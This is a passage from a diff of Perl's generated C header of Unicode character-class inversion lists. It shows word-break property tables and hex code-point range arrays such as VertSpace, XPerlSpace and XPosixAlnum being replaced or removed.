WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Format, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Regional_Indicator, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Modifier, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base_GAZ, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Format, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other +}; + +#endif /* defined(PERL_IN_REGEXEC_C) */ + +#if defined(PERL_IN_REGCOMP_C) -static const UV PL_SB__FO_invlist[] = { /* for ASCII/Latin1 */ - 37, /* Number of elements */ +static const UV UpperLatin1_invlist[] = { /* for ASCII/Latin1 */ + 3, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0xAD, - 0xAE, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002 + 0x80, + 0x100 }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_REGCOMP_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_SB__FO_invlist[] = { /* for EBCDIC 1047 */ - 37, /* Number of elements */ +static const UV VertSpace_invlist[] = { /* for ASCII/Latin1 */ + 7, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0xCA, - 0xCB, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002 + 0xA, + 0xE, + 0x85, + 0x86, + 0x2028, + 0x202A }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__FO_invlist[] = { /* for EBCDIC 037 */ - 37, /* Number of elements */ +static const UV XPerlSpace_invlist[] = { /* for ASCII/Latin1 */ + 21, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0xCA, - 0xCB, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, + 0x9, + 0xE, + 0x20, + 0x21, + 0x85, + 0x86, + 0xA0, + 0xA1, + 0x1680, + 0x1681, + 0x2000, 0x200B, - 0x200C, - 0x200E, - 0x2010, + 0x2028, 0x202A, 0x202F, + 0x2030, + 0x205F, 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002 + 0x3000, + 0x3001 }; -# endif /* EBCDIC 037 */ - -static const UV PL_SB__LE_invlist[] = { /* for all charsets */ - 965, /* Number of elements */ +static const UV XPosixAlnum_invlist[] = { /* for ASCII/Latin1 */ + 1357, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B9, - 0x2C0, + 0x30, + 0x3A, + 0x41, + 0x5B, + 0x61, + 0x7B, + 0xAA, + 0xAB, + 0xB5, + 0xB6, + 0xBA, + 0xBB, + 0xC0, + 0xD7, + 0xD8, + 0xF7, + 0xF8, + 0x2C2, 0x2C6, 0x2D2, + 0x2E0, + 0x2E5, 0x2EC, 0x2ED, 0x2EE, 0x2EF, - 0x374, + 0x345, + 0x346, + 0x370, 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, 0x559, 0x55A, + 0x561, + 0x588, + 0x5B0, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, 0x5D0, 0x5EB, 0x5F0, - 0x5F4, + 0x5F3, + 0x610, + 0x61B, 0x620, - 0x64B, + 0x658, + 0x659, + 0x66A, 0x66E, - 0x670, - 0x671, 0x6D4, 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, + 0x6DD, + 0x6E1, + 0x6E9, + 0x6ED, 0x6FD, 0x6FF, 0x700, 0x710, - 0x711, - 0x712, - 0x730, + 0x740, 0x74D, - 0x7A6, - 0x7B1, 0x7B2, - 0x7CA, + 0x7C0, 0x7EB, 0x7F4, 0x7F6, 0x7FA, 0x7FB, 0x800, - 0x816, + 0x818, 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, + 0x82D, 0x840, 0x859, - 0x860, - 0x86B, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x904, - 0x93A, + 0x8D4, + 0x8E0, + 0x8E3, + 0x8EA, + 0x8F0, + 0x93C, 0x93D, - 0x93E, - 0x950, + 0x94D, + 0x94E, 0x951, - 0x958, - 0x962, + 0x955, + 0x964, + 0x966, + 0x970, 0x971, - 0x981, + 0x984, 0x985, 0x98D, 0x98F, @@ -329703,17 +21915,23 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x9B6, 0x9BA, 0x9BD, - 0x9BE, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CD, 0x9CE, 0x9CF, + 0x9D7, + 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E2, - 0x9F0, + 0x9E4, + 0x9E6, 0x9F2, - 0x9FC, - 0x9FD, + 0xA01, + 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -329728,12 +21946,22 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xA37, 0xA38, 0xA3A, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4D, + 0xA51, + 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA72, - 0xA75, + 0xA66, + 0xA76, + 0xA81, + 0xA84, 0xA85, 0xA8E, 0xA8F, @@ -329747,13 +21975,21 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xAB5, 0xABA, 0xABD, - 0xABE, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACD, 0xAD0, 0xAD1, 0xAE0, - 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, 0xAF9, 0xAFA, + 0xB01, + 0xB04, 0xB05, 0xB0D, 0xB0F, @@ -329767,14 +22003,22 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xB35, 0xB3A, 0xB3D, - 0xB3E, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4D, + 0xB56, + 0xB58, 0xB5C, 0xB5E, 0xB5F, - 0xB62, + 0xB64, + 0xB66, + 0xB70, 0xB71, 0xB72, - 0xB83, + 0xB82, 0xB84, 0xB85, 0xB8B, @@ -329794,8 +22038,20 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xBAB, 0xBAE, 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCD, 0xBD0, 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -329805,13 +22061,21 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xC2A, 0xC3A, 0xC3D, - 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4D, + 0xC55, + 0xC57, 0xC58, 0xC5B, 0xC60, - 0xC62, + 0xC64, + 0xC66, + 0xC70, 0xC80, - 0xC81, + 0xC84, 0xC85, 0xC8D, 0xC8E, @@ -329823,13 +22087,23 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xCB5, 0xCBA, 0xCBD, - 0xCBE, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCD, + 0xCD5, + 0xCD7, 0xCDE, 0xCDF, 0xCE0, - 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, 0xCF1, 0xCF3, + 0xD01, + 0xD04, 0xD05, 0xD0D, 0xD0E, @@ -329837,15 +22111,23 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xD12, 0xD3B, 0xD3D, - 0xD3E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4D, 0xD4E, 0xD4F, 0xD54, - 0xD57, + 0xD58, 0xD5F, - 0xD62, + 0xD64, + 0xD66, + 0xD70, 0xD7A, 0xD80, + 0xD82, + 0xD84, 0xD85, 0xD97, 0xD9A, @@ -329856,12 +22138,24 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xDBE, 0xDC0, 0xDC7, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, 0xE01, - 0xE31, - 0xE32, - 0xE34, + 0xE3B, 0xE40, 0xE47, + 0xE4D, + 0xE4E, + 0xE50, + 0xE5A, 0xE81, 0xE83, 0xE84, @@ -329885,43 +22179,57 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xEAA, 0xEAC, 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, + 0xEBA, + 0xEBB, 0xEBE, 0xEC0, 0xEC5, 0xEC6, 0xEC7, + 0xECD, + 0xECE, + 0xED0, + 0xEDA, 0xEDC, 0xEE0, 0xF00, 0xF01, + 0xF20, + 0xF2A, 0xF40, 0xF48, 0xF49, 0xF6D, + 0xF71, + 0xF82, 0xF88, - 0xF8D, + 0xF98, + 0xF99, + 0xFBD, 0x1000, - 0x102B, - 0x103F, - 0x1040, + 0x1037, + 0x1038, + 0x1039, + 0x103B, + 0x104A, 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, + 0x1063, 0x1065, - 0x1067, + 0x1069, 0x106E, - 0x1071, - 0x1075, - 0x1082, + 0x1087, 0x108E, 0x108F, + 0x1090, + 0x109A, + 0x109C, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, 0x10D0, 0x10FB, 0x10FC, @@ -329956,8 +22264,14 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x1316, 0x1318, 0x135B, + 0x135F, + 0x1360, 0x1380, 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, 0x1401, 0x166D, 0x166F, @@ -329971,34 +22285,42 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x1700, 0x170D, 0x170E, - 0x1712, + 0x1714, 0x1720, - 0x1732, + 0x1734, 0x1740, - 0x1752, + 0x1754, 0x1760, 0x176D, 0x176E, 0x1771, + 0x1772, + 0x1774, 0x1780, 0x17B4, + 0x17B6, + 0x17C9, 0x17D7, 0x17D8, 0x17DC, 0x17DD, + 0x17E0, + 0x17EA, + 0x1810, + 0x181A, 0x1820, 0x1878, 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, - 0x1950, + 0x1920, + 0x192C, + 0x1930, + 0x1939, + 0x1946, 0x196E, 0x1970, 0x1975, @@ -330006,40 +22328,142 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x19AC, 0x19B0, 0x19CA, + 0x19D0, + 0x19DA, 0x1A00, - 0x1A17, + 0x1A1C, 0x1A20, - 0x1A55, + 0x1A5F, + 0x1A61, + 0x1A75, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, 0x1AA7, 0x1AA8, - 0x1B05, + 0x1B00, 0x1B34, + 0x1B35, + 0x1B44, 0x1B45, 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, + 0x1B50, + 0x1B5A, + 0x1B80, + 0x1BAA, + 0x1BAC, 0x1BE6, + 0x1BE7, + 0x1BF2, 0x1C00, - 0x1C24, + 0x1C36, + 0x1C40, + 0x1C4A, 0x1C4D, - 0x1C50, - 0x1C5A, 0x1C7E, + 0x1C80, + 0x1C89, 0x1CE9, 0x1CED, 0x1CEE, - 0x1CF2, + 0x1CF4, 0x1CF5, 0x1CF7, - 0x2135, - 0x2139, - 0x2180, - 0x2183, - 0x2185, + 0x1D00, + 0x1DC0, + 0x1DE7, + 0x1DF5, + 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, 0x2189, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, 0x2D30, 0x2D68, 0x2D6F, @@ -330062,6 +22486,8 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x2DD7, 0x2DD8, 0x2DDF, + 0x2DE0, + 0x2E00, 0x2E2F, 0x2E30, 0x3005, @@ -330081,7 +22507,7 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, @@ -330091,7 +22517,7 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x3400, 0x4DB6, 0x4E00, - 0x9FEB, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, @@ -330099,75 +22525,71 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xA500, 0xA60D, 0xA610, - 0xA620, - 0xA62A, 0xA62C, - 0xA66E, + 0xA640, 0xA66F, + 0xA674, + 0xA67C, 0xA67F, - 0xA680, - 0xA6A0, 0xA6F0, 0xA717, 0xA720, - 0xA788, + 0xA722, 0xA789, - 0xA78F, - 0xA790, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, 0xA7F7, - 0xA7F8, - 0xA7FB, 0xA802, 0xA803, 0xA806, 0xA807, 0xA80B, 0xA80C, - 0xA823, + 0xA828, 0xA840, 0xA874, - 0xA882, - 0xA8B4, + 0xA880, + 0xA8C4, + 0xA8C5, + 0xA8C6, + 0xA8D0, + 0xA8DA, 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, - 0xA90A, - 0xA926, + 0xA900, + 0xA92B, 0xA930, - 0xA947, + 0xA953, 0xA960, 0xA97D, - 0xA984, + 0xA980, 0xA9B3, + 0xA9B4, + 0xA9C0, 0xA9CF, - 0xA9D0, + 0xA9DA, 0xA9E0, 0xA9E5, 0xA9E6, - 0xA9F0, - 0xA9FA, 0xA9FF, 0xAA00, - 0xAA29, + 0xAA37, 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, 0xAA60, 0xAA77, 0xAA7A, 0xAA7B, 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, + 0xAABF, 0xAAC0, 0xAAC1, 0xAAC2, @@ -330175,9 +22597,9 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xAADB, 0xAADE, 0xAAE0, - 0xAAEB, + 0xAAF0, 0xAAF2, - 0xAAF5, + 0xAAF6, 0xAB01, 0xAB07, 0xAB09, @@ -330188,8 +22610,14 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xAB27, 0xAB28, 0xAB2F, - 0xABC0, - 0xABE3, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABEB, + 0xABF0, + 0xABFA, 0xAC00, 0xD7A4, 0xD7B0, @@ -330200,9 +22628,11 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xFA6E, 0xFA70, 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, 0xFB1D, - 0xFB1E, - 0xFB1F, 0xFB29, 0xFB2A, 0xFB37, @@ -330228,9 +22658,13 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0xFE75, 0xFE76, 0xFEFD, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF3B, + 0xFF41, + 0xFF5B, 0xFF66, - 0xFF9E, - 0xFFA0, 0xFFBF, 0xFFC2, 0xFFC8, @@ -330262,10 +22696,10 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x102D1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, - 0x10376, + 0x1037B, 0x10380, 0x1039E, 0x103A0, @@ -330274,8 +22708,14 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x103D0, 0x103D1, 0x103D6, - 0x10450, + 0x10400, 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, 0x10500, 0x10528, 0x10530, @@ -330315,8 +22755,10 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x109BE, 0x109C0, 0x10A00, - 0x10A01, - 0x10A10, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, 0x10A14, 0x10A15, 0x10A18, @@ -330340,30 +22782,44 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x10B92, 0x10C00, 0x10C49, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11046, + 0x11066, + 0x11070, + 0x11082, + 0x110B9, 0x110D0, 0x110E9, - 0x11103, - 0x11127, + 0x110F0, + 0x110FA, + 0x11100, + 0x11133, + 0x11136, + 0x11140, 0x11150, 0x11173, 0x11176, 0x11177, - 0x11183, - 0x111B3, + 0x11180, + 0x111C0, 0x111C1, 0x111C5, - 0x111DA, + 0x111D0, 0x111DB, 0x111DC, 0x111DD, 0x11200, 0x11212, 0x11213, - 0x1122C, + 0x11235, + 0x11237, + 0x11238, + 0x1123E, + 0x1123F, 0x11280, 0x11287, 0x11288, @@ -330375,7 +22831,11 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x1129F, 0x112A9, 0x112B0, - 0x112DF, + 0x112E9, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, 0x11305, 0x1130D, 0x1130F, @@ -330389,65 +22849,79 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x11335, 0x1133A, 0x1133D, - 0x1133E, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134D, 0x11350, 0x11351, + 0x11357, + 0x11358, 0x1135D, - 0x11362, + 0x11364, 0x11400, - 0x11435, + 0x11442, + 0x11443, + 0x11446, 0x11447, 0x1144B, + 0x11450, + 0x1145A, 0x11480, - 0x114B0, + 0x114C2, 0x114C4, 0x114C6, 0x114C7, 0x114C8, + 0x114D0, + 0x114DA, 0x11580, - 0x115AF, + 0x115B6, + 0x115B8, + 0x115BF, 0x115D8, - 0x115DC, + 0x115DE, 0x11600, - 0x11630, + 0x1163F, + 0x11640, + 0x11641, 0x11644, 0x11645, + 0x11650, + 0x1165A, 0x11680, - 0x116AB, + 0x116B6, + 0x116C0, + 0x116CA, 0x11700, 0x1171A, + 0x1171D, + 0x1172B, + 0x11730, + 0x1173A, + 0x118A0, + 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, - 0x11C2F, + 0x11C37, + 0x11C38, + 0x11C3F, 0x11C40, 0x11C41, + 0x11C50, + 0x11C5A, 0x11C72, 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, 0x12000, 0x1239A, 0x12400, @@ -330462,12 +22936,16 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x16A39, 0x16A40, 0x16A5F, + 0x16A60, + 0x16A6A, 0x16AD0, 0x16AEE, 0x16B00, - 0x16B30, + 0x16B37, 0x16B40, 0x16B44, + 0x16B50, + 0x16B5A, 0x16B63, 0x16B78, 0x16B7D, @@ -330475,19 +22953,17 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x16F00, 0x16F45, 0x16F50, - 0x16F51, + 0x16F7F, 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -330496,8 +22972,88 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x1BC89, 0x1BC90, 0x1BC9A, + 0x1BC9E, + 0x1BC9F, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 